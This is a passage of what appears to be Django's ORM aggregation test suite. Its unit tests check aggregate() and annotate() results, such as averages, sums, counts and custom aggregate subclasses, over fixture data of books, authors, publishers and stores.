        )
        s1.books.add(cls.b1, cls.b2, cls.b3, cls.b4, cls.b5, cls.b6)
        s2.books.add(cls.b1, cls.b3, cls.b5, cls.b6)
        s3.books.add(cls.b3, cls.b4, cls.b6)

    def test_empty_aggregate(self):
        self.assertEqual(Author.objects.all().aggregate(), {})

    def test_aggregate_in_order_by(self):
        msg = (
            'Using an aggregate in order_by() without also including it in '
            'annotate() is not allowed: Avg(F(book__rating)'
        )
        with self.assertRaisesMessage(FieldError, msg):
            Author.objects.values('age').order_by(Avg('book__rating'))

    def test_single_aggregate(self):
        vals = Author.objects.aggregate(Avg("age"))
        self.assertEqual(vals, {"age__avg": Approximate(37.4, places=1)})

    def test_multiple_aggregates(self):
        vals = Author.objects.aggregate(Sum("age"), Avg("age"))
        self.assertEqual(vals, {"age__sum": 337, "age__avg": Approximate(37.4, places=1)})

    def test_filter_aggregate(self):
        vals = Author.objects.filter(age__gt=29).aggregate(Sum("age"))
        self.assertEqual(len(vals), 1)
        self.assertEqual(vals["age__sum"], 254)

    def test_related_aggregate(self):
        vals = Author.objects.aggregate(Avg("friends__age"))
        self.assertEqual(len(vals), 1)
        self.assertAlmostEqual(vals["friends__age__avg"], 34.07, places=2)

        vals = Book.objects.filter(rating__lt=4.5).aggregate(Avg("authors__age"))
        self.assertEqual(len(vals), 1)
        self.assertAlmostEqual(vals["authors__age__avg"], 38.2857, places=2)

        vals = Author.objects.all().filter(name__contains="a").aggregate(Avg("book__rating"))
        self.assertEqual(len(vals), 1)
        self.assertEqual(vals["book__rating__avg"], 4.0)

        vals = Book.objects.aggregate(Sum("publisher__num_awards"))
        self.assertEqual(len(vals), 1)
        self.assertEqual(vals["publisher__num_awards__sum"], 30)

        vals = Publisher.objects.aggregate(Sum("book__price"))
        self.assertEqual(len(vals), 1)
        self.assertEqual(vals["book__price__sum"], Decimal("270.27"))

    def test_aggregate_multi_join(self):
        vals = Store.objects.aggregate(Max("books__authors__age"))
        self.assertEqual(len(vals), 1)
        self.assertEqual(vals["books__authors__age__max"], 57)

        vals = Author.objects.aggregate(Min("book__publisher__num_awards"))
        self.assertEqual(len(vals), 1)
        self.assertEqual(vals["book__publisher__num_awards__min"], 1)

    def test_aggregate_alias(self):
        vals = Store.objects.filter(name="Amazon.com").aggregate(amazon_mean=Avg("books__rating"))
        self.assertEqual(len(vals), 1)
        self.assertAlmostEqual(vals["amazon_mean"], 4.08, places=2)

    def test_annotate_basic(self):
        self.assertQuerysetEqual(
            Book.objects.annotate().order_by('pk'), [
                "The Definitive Guide to Django: Web Development Done Right",
                "Sams Teach Yourself Django in 24 Hours",
                "Practical Django Projects",
                "Python Web Development with Django",
                "Artificial Intelligence: A Modern Approach",
                "Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp"
            ],
            lambda b: b.name
        )

        books = Book.objects.annotate(mean_age=Avg("authors__age"))
        b = books.get(pk=self.b1.pk)
        self.assertEqual(
            b.name,
            'The Definitive Guide to Django: Web Development Done Right'
        )
        self.assertEqual(b.mean_age, 34.5)

    def test_annotate_defer(self):
        qs = Book.objects.annotate(
            page_sum=Sum("pages")).defer('name').filter(pk=self.b1.pk)

        rows = [
            (1, "159059725", 447, "The Definitive Guide to Django: Web Development Done Right")
        ]
        self.assertQuerysetEqual(
            qs.order_by('pk'), rows,
            lambda r: (r.id, r.isbn, r.page_sum, r.name)
        )

    def test_annotate_defer_select_related(self):
        qs = Book.objects.select_related('contact').annotate(
            page_sum=Sum("pages")).defer('name').filter(pk=self.b1.pk)

        rows = [
            (1, "159059725", 447, "Adrian Holovaty",
             "The Definitive Guide to Django: Web Development Done Right")
        ]
        self.assertQuerysetEqual(
            qs.order_by('pk'), rows,
            lambda r: (r.id, r.isbn, r.page_sum, r.contact.name, r.name)
        )

    def test_annotate_m2m(self):
        books = Book.objects.filter(rating__lt=4.5).annotate(Avg("authors__age")).order_by("name")
        self.assertQuerysetEqual(
            books, [
                ('Artificial Intelligence: A Modern Approach', 51.5),
                ('Practical Django Projects', 29.0),
                ('Python Web Development with Django', Approximate(30.3, places=1)),
                ('Sams Teach Yourself Django in 24 Hours', 45.0)
            ],
            lambda b: (b.name, b.authors__age__avg),
        )

        books = Book.objects.annotate(num_authors=Count("authors")).order_by("name")
        self.assertQuerysetEqual(
            books, [
                ('Artificial Intelligence: A Modern Approach', 2),
                ('Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp', 1),
                ('Practical Django Projects', 1),
                ('Python Web Development with Django', 3),
                ('Sams Teach Yourself Django in 24 Hours', 1),
                ('The Definitive Guide to Django: Web Development Done Right', 2)
            ],
            lambda b: (b.name, b.num_authors)
        )

    def test_backwards_m2m_annotate(self):
        authors = Author.objects.filter(name__contains="a").annotate(Avg("book__rating")).order_by("name")
        self.assertQuerysetEqual(
            authors, [
                ('Adrian Holovaty', 4.5),
                ('Brad Dayley', 3.0),
                ('Jacob Kaplan-Moss', 4.5),
                ('James Bennett', 4.0),
                ('Paul Bissex', 4.0),
                ('Stuart Russell', 4.0)
            ],
            lambda a: (a.name, a.book__rating__avg)
        )

        authors = Author.objects.annotate(num_books=Count("book")).order_by("name")
        self.assertQuerysetEqual(
            authors, [
                ('Adrian Holovaty', 1),
                ('Brad Dayley', 1),
                ('Jacob Kaplan-Moss', 1),
                ('James Bennett', 1),
                ('Jeffrey Forcier', 1),
                ('Paul Bissex', 1),
                ('Peter Norvig', 2),
                ('Stuart Russell', 1),
                ('Wesley J. Chun', 1)
            ],
            lambda a: (a.name, a.num_books)
        )

    def test_reverse_fkey_annotate(self):
        books = Book.objects.annotate(Sum("publisher__num_awards")).order_by("name")
        self.assertQuerysetEqual(
            books, [
                ('Artificial Intelligence: A Modern Approach', 7),
                ('Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp', 9),
                ('Practical Django Projects', 3),
                ('Python Web Development with Django', 7),
                ('Sams Teach Yourself Django in 24 Hours', 1),
                ('The Definitive Guide to Django: Web Development Done Right', 3)
            ],
            lambda b: (b.name, b.publisher__num_awards__sum)
        )

        publishers = Publisher.objects.annotate(Sum("book__price")).order_by("name")
        self.assertQuerysetEqual(
            publishers, [
                ('Apress', Decimal("59.69")),
                ("Jonno's House of Books", None),
                ('Morgan Kaufmann', Decimal("75.00")),
                ('Prentice Hall', Decimal("112.49")),
                ('Sams', Decimal("23.09"))
            ],
            lambda p: (p.name, p.book__price__sum)
        )

    def test_annotate_values(self):
        books = list(Book.objects.filter(pk=self.b1.pk).annotate(mean_age=Avg("authors__age")).values())
        self.assertEqual(
            books, [
                {
                    "contact_id": 1,
                    "id": 1,
                    "isbn": "159059725",
                    "mean_age": 34.5,
                    "name": "The Definitive Guide to Django: Web Development Done Right",
                    "pages": 447,
                    "price": Approximate(Decimal("30")),
                    "pubdate": datetime.date(2007, 12, 6),
                    "publisher_id": 1,
                    "rating": 4.5,
                }
            ]
        )

        books = (
            Book.objects
            .filter(pk=self.b1.pk)
            .annotate(mean_age=Avg('authors__age'))
            .values('pk', 'isbn', 'mean_age')
        )
        self.assertEqual(
            list(books), [
                {
                    "pk": 1,
                    "isbn": "159059725",
                    "mean_age": 34.5,
                }
            ]
        )

        books = Book.objects.filter(pk=self.b1.pk).annotate(mean_age=Avg("authors__age")).values("name")
        self.assertEqual(
            list(books), [
                {
                    "name": "The Definitive Guide to Django: Web Development Done Right"
                }
            ]
        )

        books = Book.objects.filter(pk=self.b1.pk).values().annotate(mean_age=Avg('authors__age'))
        self.assertEqual(
            list(books), [
                {
                    "contact_id": 1,
                    "id": 1,
                    "isbn": "159059725",
                    "mean_age": 34.5,
                    "name": "The Definitive Guide to Django: Web Development Done Right",
                    "pages": 447,
                    "price": Approximate(Decimal("30")),
                    "pubdate": datetime.date(2007, 12, 6),
                    "publisher_id": 1,
                    "rating": 4.5,
                }
            ]
        )

        books = (
            Book.objects
            .values("rating")
            .annotate(n_authors=Count("authors__id"), mean_age=Avg("authors__age"))
            .order_by("rating")
        )
        self.assertEqual(
            list(books), [
                {
                    "rating": 3.0,
                    "n_authors": 1,
                    "mean_age": 45.0,
                },
                {
                    "rating": 4.0,
                    "n_authors": 6,
                    "mean_age": Approximate(37.16, places=1)
                },
                {
                    "rating": 4.5,
                    "n_authors": 2,
                    "mean_age": 34.5,
                },
                {
                    "rating": 5.0,
                    "n_authors": 1,
                    "mean_age": 57.0,
                }
            ]
        )

        authors = Author.objects.annotate(Avg("friends__age")).order_by("name")
        self.assertEqual(len(authors), 9)
        self.assertQuerysetEqual(
            authors, [
                ('Adrian Holovaty', 32.0),
                ('Brad Dayley', None),
                ('Jacob Kaplan-Moss', 29.5),
                ('James Bennett', 34.0),
                ('Jeffrey Forcier', 27.0),
                ('Paul Bissex', 31.0),
                ('Peter Norvig', 46.0),
                ('Stuart Russell', 57.0),
                ('Wesley J. Chun', Approximate(33.66, places=1))
            ],
            lambda a: (a.name, a.friends__age__avg)
        )

    def test_count(self):
        vals = Book.objects.aggregate(Count("rating"))
        self.assertEqual(vals, {"rating__count": 6})

        vals = Book.objects.aggregate(Count("rating", distinct=True))
        self.assertEqual(vals, {"rating__count": 4})

    def test_count_star(self):
        with self.assertNumQueries(1) as ctx:
            Book.objects.aggregate(n=Count("*"))
        sql = ctx.captured_queries[0]['sql']
        self.assertIn('SELECT COUNT(*) ', sql)

    def test_non_grouped_annotation_not_in_group_by(self):
        """
        An annotation not included in values() before an aggregate should be
        excluded from the group by clause.
        """
        qs = (
            Book.objects.annotate(xprice=F('price')).filter(rating=4.0).values('rating')
                .annotate(count=Count('publisher_id', distinct=True)).values('count', 'rating').order_by('count')
        )
        self.assertEqual(
            list(qs), [
                {'rating': 4.0, 'count': 2},
            ]
        )

    def test_grouped_annotation_in_group_by(self):
        """
        An annotation included in values() before an aggregate should be
        included in the group by clause.
        """
        qs = (
            Book.objects.annotate(xprice=F('price')).filter(rating=4.0).values('rating', 'xprice')
                .annotate(count=Count('publisher_id', distinct=True)).values('count', 'rating').order_by('count')
        )
        self.assertEqual(
            list(qs), [
                {'rating': 4.0, 'count': 1},
                {'rating': 4.0, 'count': 2},
            ]
        )

    def test_fkey_aggregate(self):
        explicit = list(Author.objects.annotate(Count('book__id')))
        implicit = list(Author.objects.annotate(Count('book')))
        self.assertEqual(explicit, implicit)

    def test_annotate_ordering(self):
        books = Book.objects.values('rating').annotate(oldest=Max('authors__age')).order_by('oldest', 'rating')
        self.assertEqual(
            list(books), [
                {
                    "rating": 4.5,
                    "oldest": 35,
                },
                {
                    "rating": 3.0,
                    "oldest": 45
                },
                {
                    "rating": 4.0,
                    "oldest": 57,
                },
                {
                    "rating": 5.0,
                    "oldest": 57,
                }
            ]
        )

        books = Book.objects.values("rating").annotate(oldest=Max("authors__age")).order_by("-oldest", "-rating")
        self.assertEqual(
            list(books), [
                {
                    "rating": 5.0,
                    "oldest": 57,
                },
                {
                    "rating": 4.0,
                    "oldest": 57,
                },
                {
                    "rating": 3.0,
                    "oldest": 45,
                },
                {
                    "rating": 4.5,
                    "oldest": 35,
                }
            ]
        )

    def test_aggregate_annotation(self):
        vals = Book.objects.annotate(num_authors=Count("authors__id")).aggregate(Avg("num_authors"))
        self.assertEqual(vals, {"num_authors__avg": Approximate(1.66, places=1)})

    def test_avg_duration_field(self):
        # Explicit `output_field`.
        self.assertEqual(
            Publisher.objects.aggregate(Avg('duration', output_field=DurationField())),
            {'duration__avg': datetime.timedelta(days=1, hours=12)}
        )
        # Implicit `output_field`.
        self.assertEqual(
            Publisher.objects.aggregate(Avg('duration')),
            {'duration__avg': datetime.timedelta(days=1, hours=12)}
        )

    def test_sum_duration_field(self):
        self.assertEqual(
            Publisher.objects.aggregate(Sum('duration', output_field=DurationField())),
            {'duration__sum': datetime.timedelta(days=3)}
        )

    def test_sum_distinct_aggregate(self):
        """
        Sum on a distinct() QuerySet should aggregate only the distinct items.
        """
        authors = Author.objects.filter(book__in=[5, 6])
        self.assertEqual(authors.count(), 3)

        distinct_authors = authors.distinct()
        self.assertEqual(distinct_authors.count(), 2)

        # Selected author ages are 57 and 46
        age_sum = distinct_authors.aggregate(Sum('age'))
        self.assertEqual(age_sum['age__sum'], 103)

    def test_filtering(self):
        p = Publisher.objects.create(name='Expensive Publisher', num_awards=0)
        Book.objects.create(
            name='ExpensiveBook1',
            pages=1,
            isbn='111',
            rating=3.5,
            price=Decimal("1000"),
            publisher=p,
            contact_id=1,
            pubdate=datetime.date(2008, 12, 1)
        )
        Book.objects.create(
            name='ExpensiveBook2',
            pages=1,
            isbn='222',
            rating=4.0,
            price=Decimal("1000"),
            publisher=p,
            contact_id=1,
            pubdate=datetime.date(2008, 12, 2)
        )
        Book.objects.create(
            name='ExpensiveBook3',
            pages=1,
            isbn='333',
            rating=4.5,
            price=Decimal("35"),
            publisher=p,
            contact_id=1,
            pubdate=datetime.date(2008, 12, 3)
        )

        publishers = Publisher.objects.annotate(num_books=Count("book__id")).filter(num_books__gt=1).order_by("pk")
        self.assertQuerysetEqual(
            publishers, [
                "Apress",
                "Prentice Hall",
                "Expensive Publisher",
            ],
            lambda p: p.name,
        )

        publishers = Publisher.objects.filter(book__price__lt=Decimal("40.0")).order_by("pk")
        self.assertQuerysetEqual(
            publishers, [
                "Apress",
                "Apress",
                "Sams",
                "Prentice Hall",
                "Expensive Publisher",
            ],
            lambda p: p.name
        )

        publishers = (
            Publisher.objects
            .annotate(num_books=Count("book__id"))
            .filter(num_books__gt=1, book__price__lt=Decimal("40.0"))
            .order_by("pk")
        )
        self.assertQuerysetEqual(
            publishers, [
                "Apress",
                "Prentice Hall",
                "Expensive Publisher",
            ],
            lambda p: p.name,
        )

        publishers = (
            Publisher.objects
            .filter(book__price__lt=Decimal("40.0"))
            .annotate(num_books=Count("book__id"))
            .filter(num_books__gt=1)
            .order_by("pk")
        )
        self.assertQuerysetEqual(
            publishers, [
                "Apress",
            ],
            lambda p: p.name
        )

        publishers = Publisher.objects.annotate(num_books=Count("book")).filter(num_books__range=[1, 3]).order_by("pk")
        self.assertQuerysetEqual(
            publishers, [
                "Apress",
                "Sams",
                "Prentice Hall",
                "Morgan Kaufmann",
                "Expensive Publisher",
            ],
            lambda p: p.name
        )

        publishers = Publisher.objects.annotate(num_books=Count("book")).filter(num_books__range=[1, 2]).order_by("pk")
        self.assertQuerysetEqual(
            publishers, [
                "Apress",
                "Sams",
                "Prentice Hall",
                "Morgan Kaufmann",
            ],
            lambda p: p.name
        )

        publishers = Publisher.objects.annotate(num_books=Count("book")).filter(num_books__in=[1, 3]).order_by("pk")
        self.assertQuerysetEqual(
            publishers, [
                "Sams",
                "Morgan Kaufmann",
                "Expensive Publisher",
            ],
            lambda p: p.name,
        )

        publishers = Publisher.objects.annotate(num_books=Count("book")).filter(num_books__isnull=True)
        self.assertEqual(len(publishers), 0)

    def test_annotation(self):
        vals = Author.objects.filter(pk=self.a1.pk).aggregate(Count("friends__id"))
        self.assertEqual(vals, {"friends__id__count": 2})

        books = Book.objects.annotate(num_authors=Count("authors__name")).filter(num_authors__exact=2).order_by("pk")
        self.assertQuerysetEqual(
            books, [
                "The Definitive Guide to Django: Web Development Done Right",
                "Artificial Intelligence: A Modern Approach",
            ],
            lambda b: b.name
        )

        authors = (
            Author.objects
            .annotate(num_friends=Count("friends__id", distinct=True))
            .filter(num_friends=0)
            .order_by("pk")
        )
        self.assertQuerysetEqual(
            authors, [
                "Brad Dayley",
            ],
            lambda a: a.name
        )

        publishers = Publisher.objects.annotate(num_books=Count("book__id")).filter(num_books__gt=1).order_by("pk")
        self.assertQuerysetEqual(
            publishers, [
                "Apress",
                "Prentice Hall",
            ],
            lambda p: p.name
        )

        publishers = (
            Publisher.objects
            .filter(book__price__lt=Decimal("40.0"))
            .annotate(num_books=Count("book__id"))
            .filter(num_books__gt=1)
        )
        self.assertQuerysetEqual(
            publishers, [
                "Apress",
            ],
            lambda p: p.name
        )

        books = (
            Book.objects
            .annotate(num_authors=Count("authors__id"))
            .filter(authors__name__contains="Norvig", num_authors__gt=1)
        )
        self.assertQuerysetEqual(
            books, [
                "Artificial Intelligence: A Modern Approach",
            ],
            lambda b: b.name
        )

    def test_more_aggregation(self):
        a = Author.objects.get(name__contains='Norvig')
        b = Book.objects.get(name__contains='Done Right')
        b.authors.add(a)
        b.save()

        vals = (
            Book.objects
            .annotate(num_authors=Count("authors__id"))
            .filter(authors__name__contains="Norvig", num_authors__gt=1)
            .aggregate(Avg("rating"))
        )
        self.assertEqual(vals, {"rating__avg": 4.25})

    def test_even_more_aggregate(self):
        publishers = Publisher.objects.annotate(
            earliest_book=Min("book__pubdate"),
        ).exclude(earliest_book=None).order_by("earliest_book").values(
            'earliest_book',
            'num_awards',
            'id',
            'name',
        )
        self.assertEqual(
            list(publishers), [
                {
                    'earliest_book': datetime.date(1991, 10, 15),
                    'num_awards': 9,
                    'id': 4,
                    'name': 'Morgan Kaufmann'
                },
                {
                    'earliest_book': datetime.date(1995, 1, 15),
                    'num_awards': 7,
                    'id': 3,
                    'name': 'Prentice Hall'
                },
                {
                    'earliest_book': datetime.date(2007, 12, 6),
                    'num_awards': 3,
                    'id': 1,
                    'name': 'Apress'
                },
                {
                    'earliest_book': datetime.date(2008, 3, 3),
                    'num_awards': 1,
                    'id': 2,
                    'name': 'Sams'
                }
            ]
        )

        vals = Store.objects.aggregate(Max("friday_night_closing"), Min("original_opening"))
        self.assertEqual(
            vals,
            {
                "friday_night_closing__max": datetime.time(23, 59, 59),
                "original_opening__min": datetime.datetime(1945, 4, 25, 16, 24, 14),
            }
        )

    def test_annotate_values_list(self):
        books = (
            Book.objects
            .filter(pk=self.b1.pk)
            .annotate(mean_age=Avg("authors__age"))
            .values_list("pk", "isbn", "mean_age")
        )
        self.assertEqual(
            list(books), [
                (1, "159059725", 34.5),
            ]
        )

        books = Book.objects.filter(pk=self.b1.pk).annotate(mean_age=Avg("authors__age")).values_list("isbn")
        self.assertEqual(
            list(books), [
                ('159059725',)
            ]
        )

        books = Book.objects.filter(pk=self.b1.pk).annotate(mean_age=Avg("authors__age")).values_list("mean_age")
        self.assertEqual(
            list(books), [
                (34.5,)
            ]
        )

        books = (
            Book.objects
            .filter(pk=self.b1.pk)
            .annotate(mean_age=Avg("authors__age"))
            .values_list("mean_age", flat=True)
        )
        self.assertEqual(list(books), [34.5])

        books = Book.objects.values_list("price").annotate(count=Count("price")).order_by("-count", "price")
        self.assertEqual(
            list(books), [
                (Decimal("29.69"), 2),
                (Decimal('23.09'), 1),
                (Decimal('30'), 1),
                (Decimal('75'), 1),
                (Decimal('82.8'), 1),
            ]
        )

    def test_dates_with_aggregation(self):
        """
        Test that .dates() returns a distinct set of dates when applied to a
        QuerySet with aggregation.

        Refs #18056. Previously, .dates() would return distinct (date_kind,
        aggregation) sets, in this case (year, num_authors), so 2008 would be
        returned twice because there are books from 2008 with a different
        number of authors.
        """
        dates = Book.objects.annotate(num_authors=Count("authors")).dates('pubdate', 'year')
        self.assertQuerysetEqual(
            dates, [
                "datetime.date(1991, 1, 1)",
                "datetime.date(1995, 1, 1)",
                "datetime.date(2007, 1, 1)",
                "datetime.date(2008, 1, 1)"
            ]
        )

    def test_values_aggregation(self):
        # Refs #20782
        max_rating = Book.objects.values('rating').aggregate(max_rating=Max('rating'))
        self.assertEqual(max_rating['max_rating'], 5)
        max_books_per_rating = Book.objects.values('rating').annotate(
            books_per_rating=Count('id')
        ).aggregate(Max('books_per_rating'))
        self.assertEqual(
            max_books_per_rating,
            {'books_per_rating__max': 3})

    def test_ticket17424(self):
        """
        Check that doing exclude() on a foreign model after annotate()
        doesn't crash.
        """
        all_books = list(Book.objects.values_list('pk', flat=True).order_by('pk'))
        annotated_books = Book.objects.order_by('pk').annotate(one=Count("id"))

        # The value doesn't matter, we just need any negative
        # constraint on a related model that's a noop.
        excluded_books = annotated_books.exclude(publisher__name="__UNLIKELY_VALUE__")

        # Try to generate query tree
        str(excluded_books.query)

        self.assertQuerysetEqual(excluded_books, all_books, lambda x: x.pk)

        # Check internal state
        self.assertIsNone(annotated_books.query.alias_map["aggregation_book"].join_type)
        self.assertIsNone(excluded_books.query.alias_map["aggregation_book"].join_type)

    def test_ticket12886(self):
        """
        Check that aggregation over sliced queryset works correctly.
        """
        qs = Book.objects.all().order_by('-rating')[0:3]
        vals = qs.aggregate(average_top3_rating=Avg('rating'))['average_top3_rating']
        self.assertAlmostEqual(vals, 4.5, places=2)

    def test_ticket11881(self):
        """
        Check that subqueries do not needlessly contain ORDER BY, SELECT FOR UPDATE
        or select_related() stuff.
        """
        qs = Book.objects.all().select_for_update().order_by(
            'pk').select_related('publisher').annotate(max_pk=Max('pk'))
        with CaptureQueriesContext(connection) as captured_queries:
            qs.aggregate(avg_pk=Avg('max_pk'))
            self.assertEqual(len(captured_queries), 1)
            qstr = captured_queries[0]['sql'].lower()
            self.assertNotIn('for update', qstr)
            forced_ordering = connection.ops.force_no_ordering()
            if forced_ordering:
                # If the backend needs to force an ordering we make sure it's
                # the only "ORDER BY" clause present in the query.
                self.assertEqual(
                    re.findall(r'order by (\w+)', qstr),
                    [', '.join(f[1][0] for f in forced_ordering).lower()]
                )
            else:
                self.assertNotIn('order by', qstr)
            self.assertEqual(qstr.count(' join '), 0)

    def test_decimal_max_digits_has_no_effect(self):
        Book.objects.all().delete()
        a1 = Author.objects.first()
        p1 = Publisher.objects.first()
        thedate = timezone.now()
        for i in range(10):
            Book.objects.create(
                isbn="abcde{}".format(i), name="none", pages=10, rating=4.0,
                price=9999.98, contact=a1, publisher=p1, pubdate=thedate)

        book = Book.objects.aggregate(price_sum=Sum('price'))
        self.assertEqual(book['price_sum'], Decimal("99999.80"))

    def test_nonaggregate_aggregation_throws(self):
        with self.assertRaisesMessage(TypeError, 'fail is not an aggregate expression'):
            Book.objects.aggregate(fail=F('price'))

    def test_nonfield_annotation(self):
        book = Book.objects.annotate(val=Max(Value(2, output_field=IntegerField()))).first()
        self.assertEqual(book.val, 2)
        book = Book.objects.annotate(val=Max(Value(2), output_field=IntegerField())).first()
        self.assertEqual(book.val, 2)
        book = Book.objects.annotate(val=Max(2, output_field=IntegerField())).first()
        self.assertEqual(book.val, 2)

    def test_missing_output_field_raises_error(self):
        with self.assertRaisesMessage(FieldError, 'Cannot resolve expression type, unknown output_field'):
            Book.objects.annotate(val=Max(2)).first()

    def test_annotation_expressions(self):
        authors = Author.objects.annotate(combined_ages=Sum(F('age') + F('friends__age'))).order_by('name')
        authors2 = Author.objects.annotate(combined_ages=Sum('age') + Sum('friends__age')).order_by('name')
        for qs in (authors, authors2):
            self.assertEqual(len(qs), 9)
            self.assertQuerysetEqual(
                qs, [
                    ('Adrian Holovaty', 132),
                    ('Brad Dayley', None),
                    ('Jacob Kaplan-Moss', 129),
                    ('James Bennett', 63),
                    ('Jeffrey Forcier', 128),
                    ('Paul Bissex', 120),
                    ('Peter Norvig', 103),
                    ('Stuart Russell', 103),
                    ('Wesley J. Chun', 176)
                ],
                lambda a: (a.name, a.combined_ages)
            )

    def test_aggregation_expressions(self):
        a1 = Author.objects.aggregate(av_age=Sum('age') / Count('*'))
        a2 = Author.objects.aggregate(av_age=Sum('age') / Count('age'))
        a3 = Author.objects.aggregate(av_age=Avg('age'))
        self.assertEqual(a1, {'av_age': 37})
        self.assertEqual(a2, {'av_age': 37})
        self.assertEqual(a3, {'av_age': Approximate(37.4, places=1)})

    def test_avg_decimal_field(self):
        v = Book.objects.filter(rating=4).aggregate(avg_price=(Avg('price')))['avg_price']
        self.assertIsInstance(v, float)
        self.assertEqual(v, Approximate(47.39, places=2))

    def test_order_of_precedence(self):
        p1 = Book.objects.filter(rating=4).aggregate(avg_price=(Avg('price') + 2) * 3)
        self.assertEqual(p1, {'avg_price': Approximate(148.18, places=2)})

        p2 = Book.objects.filter(rating=4).aggregate(avg_price=Avg('price') + 2 * 3)
        self.assertEqual(p2, {'avg_price': Approximate(53.39, places=2)})

    def test_combine_different_types(self):
        with self.assertRaisesMessage(FieldError, 'Expression contains mixed types. You must set output_field'):
            Book.objects.annotate(sums=Sum('rating') + Sum('pages') + Sum('price')).get(pk=self.b4.pk)

        b1 = Book.objects.annotate(sums=Sum(F('rating') + F('pages') + F('price'),
                                   output_field=IntegerField())).get(pk=self.b4.pk)
        self.assertEqual(b1.sums, 383)

        b2 = Book.objects.annotate(sums=Sum(F('rating') + F('pages') + F('price'),
                                   output_field=FloatField())).get(pk=self.b4.pk)
        self.assertEqual(b2.sums, 383.69)

        b3 = Book.objects.annotate(sums=Sum(F('rating') + F('pages') + F('price'),
                                   output_field=DecimalField())).get(pk=self.b4.pk)
        self.assertEqual(b3.sums, Approximate(Decimal("383.69"), places=2))

    def test_complex_aggregations_require_kwarg(self):
        with self.assertRaisesMessage(TypeError, 'Complex annotations require an alias'):
            Author.objects.annotate(Sum(F('age') + F('friends__age')))
        with self.assertRaisesMessage(TypeError, 'Complex aggregates require an alias'):
            Author.objects.aggregate(Sum('age') / Count('age'))
        with self.assertRaisesMessage(TypeError, 'Complex aggregates require an alias'):
            Author.objects.aggregate(Sum(1))

    def test_aggregate_over_complex_annotation(self):
        qs = Author.objects.annotate(
            combined_ages=Sum(F('age') + F('friends__age')))

        age = qs.aggregate(max_combined_age=Max('combined_ages'))
        self.assertEqual(age['max_combined_age'], 176)

        age = qs.aggregate(max_combined_age_doubled=Max('combined_ages') * 2)
        self.assertEqual(age['max_combined_age_doubled'], 176 * 2)

        age = qs.aggregate(
            max_combined_age_doubled=Max('combined_ages') + Max('combined_ages'))
        self.assertEqual(age['max_combined_age_doubled'], 176 * 2)

        age = qs.aggregate(
            max_combined_age_doubled=Max('combined_ages') + Max('combined_ages'),
            sum_combined_age=Sum('combined_ages'))
        self.assertEqual(age['max_combined_age_doubled'], 176 * 2)
        self.assertEqual(age['sum_combined_age'], 954)

        age = qs.aggregate(
            max_combined_age_doubled=Max('combined_ages') + Max('combined_ages'),
            sum_combined_age_doubled=Sum('combined_ages') + Sum('combined_ages'))
        self.assertEqual(age['max_combined_age_doubled'], 176 * 2)
        self.assertEqual(age['sum_combined_age_doubled'], 954 * 2)

    def test_values_annotation_with_expression(self):
        # ensure the F() is promoted to the group by clause
        qs = Author.objects.values('name').annotate(another_age=Sum('age') + F('age'))
        a = qs.get(name="Adrian Holovaty")
        self.assertEqual(a['another_age'], 68)

        qs = qs.annotate(friend_count=Count('friends'))
        a = qs.get(name="Adrian Holovaty")
        self.assertEqual(a['friend_count'], 2)

        qs = qs.annotate(combined_age=Sum('age') + F('friends__age')).filter(
            name="Adrian Holovaty").order_by('-combined_age')
        self.assertEqual(
            list(qs), [
                {
                    "name": 'Adrian Holovaty',
                    "another_age": 68,
                    "friend_count": 1,
                    "combined_age": 69
                },
                {
                    "name": 'Adrian Holovaty',
                    "another_age": 68,
                    "friend_count": 1,
                    "combined_age": 63
                }
            ]
        )

        vals = qs.values('name', 'combined_age')
        self.assertEqual(
            list(vals), [
                {
                    "name": 'Adrian Holovaty',
                    "combined_age": 69
                },
                {
                    "name": 'Adrian Holovaty',
                    "combined_age": 63
                }
            ]
        )

    def test_annotate_values_aggregate(self):
        alias_age = Author.objects.annotate(
            age_alias=F('age')
        ).values(
            'age_alias',
        ).aggregate(sum_age=Sum('age_alias'))

        age = Author.objects.values('age').aggregate(sum_age=Sum('age'))

        self.assertEqual(alias_age['sum_age'], age['sum_age'])

    def test_annotate_over_annotate(self):
        author = Author.objects.annotate(
            age_alias=F('age')
        ).annotate(
            sum_age=Sum('age_alias')
        ).get(name="Adrian Holovaty")

        other_author = Author.objects.annotate(
            sum_age=Sum('age')
        ).get(name="Adrian Holovaty")

        self.assertEqual(author.sum_age, other_author.sum_age)

    def test_annotated_aggregate_over_annotated_aggregate(self):
        with self.assertRaisesMessage(FieldError, "Cannot compute Sum('id__max'): 'id__max' is an aggregate"):
            Book.objects.annotate(Max('id')).annotate(Sum('id__max'))

        class MyMax(Max):
            def as_sql(self, compiler, connection):
                self.set_source_expressions(self.get_source_expressions()[0:1])
                return super(MyMax, self).as_sql(compiler, connection)

        with self.assertRaisesMessage(FieldError, "Cannot compute Max('id__max'): 'id__max' is an aggregate"):
            Book.objects.annotate(Max('id')).annotate(my_max=MyMax('id__max', 'price'))

    def test_multi_arg_aggregate(self):
        class MyMax(Max):
            def as_sql(self, compiler, connection):
                self.set_source_expressions(self.get_source_expressions()[0:1])
                return super(MyMax, self).as_sql(compiler, connection)

        with self.assertRaisesMessage(TypeError, 'Complex aggregates require an alias'):
            Book.objects.aggregate(MyMax('pages', 'price'))

        with self.assertRaisesMessage(TypeError, 'Complex annotations require an alias'):
            Book.objects.annotate(MyMax('pages', 'price'))

        Book.objects.aggregate(max_field=MyMax('pages', 'price'))

    def test_add_implementation(self):
        class MySum(Sum):
            pass

        # test completely changing how the output is rendered
        def lower_case_function_override(self, compiler, connection):
            sql, params = compiler.compile(self.source_expressions[0])
            substitutions = dict(function=self.function.lower(), expressions=sql)
            substitutions.update(self.extra)
            return self.template % substitutions, params
        setattr(MySum, 'as_' + connection.vendor, lower_case_function_override)

        qs = Book.objects.annotate(
            sums=MySum(F('rating') + F('pages') + F('price'), output_field=IntegerField())
        )
        self.assertEqual(str(qs.query).count('sum('), 1)
        b1 = qs.get(pk=self.b4.pk)
        self.assertEqual(b1.sums, 383)

        # test changing the dict and delegating
        def lower_case_function_super(self, compiler, connection):
            self.extra['function'] = self.function.lower()
            return super(MySum, self).as_sql(compiler, connection)
        setattr(MySum, 'as_' + connection.vendor, lower_case_function_super)

        qs = Book.objects.annotate(
            sums=MySum(F('rating') + F('pages') + F('price'), output_field=IntegerField())
        )
        self.assertEqual(str(qs.query).count('sum('), 1)
        b1 = qs.get(pk=self.b4.pk)
        self.assertEqual(b1.sums, 383)

        # test overriding all parts of the template
